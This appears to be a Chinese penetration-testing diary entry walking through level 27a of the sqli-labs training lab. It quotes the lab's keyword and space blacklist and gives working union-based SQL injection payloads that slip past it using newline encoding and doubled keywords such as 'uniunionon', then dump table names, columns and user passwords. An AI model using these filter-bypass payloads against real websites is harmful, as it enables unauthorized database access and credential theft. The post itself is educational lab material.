当前位置: 首页 > news >正文

在职老D渗透日记day21:sqli-labs靶场通关(第27a关)get联合注入 过滤select和union “闭合

5.27a.第27a关 get联合注入 过滤select和union "闭合

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out Select
return $id;
}
(1)判断注入类型、注入点
?id=1'      返回id=1数据
?id=1"      报错,判断为字符型注入,"闭合
?id=1"or"0  返回id=1数据
?id=2"or"0  返回id=2数据,确定为"闭合

(2)查询数据库名
?id=0"uniunionon%0AseleSelectct%0A7,8,9%0Aand"1id=0"这是注入的起始点。id=0是一个无效的ID值(可能用于触发错误或确保原查询不返回数据)。双引号"用于闭合原始查询中的字符串。
uniunionon这是union关键词的绕过变体
%0A(换行符)用于替代空格,绕过对空格的过滤
seleSelectct​类似uniunionon,这是select关键词的绕过变体
and"1​"可能被解释为一个字符串或布尔值(真),帮助闭合前面的字符串并使查询有效?id=0"uniunionon%0AseleSelectct%0A7,database(),9%0Aand"1

(3)查询表名
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Aand"1

(4)查询字段名
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

(5)查询账号密码
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(id,0x7e,username,0x3a,password)from%0Ausers%0Awhere%0Aid=3%0Aand"1

http://www.dtcms.com/a/339192.html

相关文章:

  • C# 13 与 .NET 9 跨平台开发实战(第一章:开发环境搭建与.NET概述)
  • Milvus 向量数据库中的索引类型
  • SQL 语句进阶实战:从基础查询到性能优化全指南
  • K8s命名空间:资源隔离与管理的核心
  • 轻量级milvus安装和应用示例
  • 一文精通 Swagger 在 .NET 中的全方位配置与应用
  • 软件测试-Selenium学习笔记
  • Dify-MCP服务创建案例
  • 循环高级综合练习①
  • 46 C++ STL模板库15-容器7-顺序容器-双端队列(deque)
  • 人工智能统一信息结构的挑战与前景
  • Vue3编程中更多常见书写错误场景
  • 使用OpenCV计算灰度图像的质心
  • 云原生堡垒机渗透测试场景
  • 所有普通I/O口都支持中断的51单片机@Ai8051U, AiCube 图形化配置
  • 微服务架构的演进:从 Spring Cloud Netflix 到云原生新生态
  • 大模型微调RAG、LORA、强化学习
  • 如何使用VNC对openEuler系统进行远程图形化操作
  • Ubuntu Server 22.04 k8s部署服务较时,文件描述符超过限制的处理方法
  • RabbitMQ:SpringBoot+RabbitMQ 多消费者绑定同一队列
  • Node.js 在 Windows Server 上的离线部署方案
  • leetcode349. 两个数组的交集
  • 轻度娱乐浪潮下定制开发开源AI智能名片S2B2C商城小程序的机遇与策略
  • 厚板数控矫平机的“第三堂课”——把视角拉远,看看它如何重塑整条制造链
  • 供水设备智慧化管理物联网解决方案:远程监控与运维
  • 搭建最新--若依分布式spring cloudv3.6.6 前后端分离项目--步骤与记录常见的坑
  • BKP相关知识点
  • 从机器视觉到图像识别:计算机视觉的多维探索
  • LINUX819 shell:for for,shift ,{} ,array[0] array[s] ,declare -x -a
  • 服务注册与服务发现原理与实现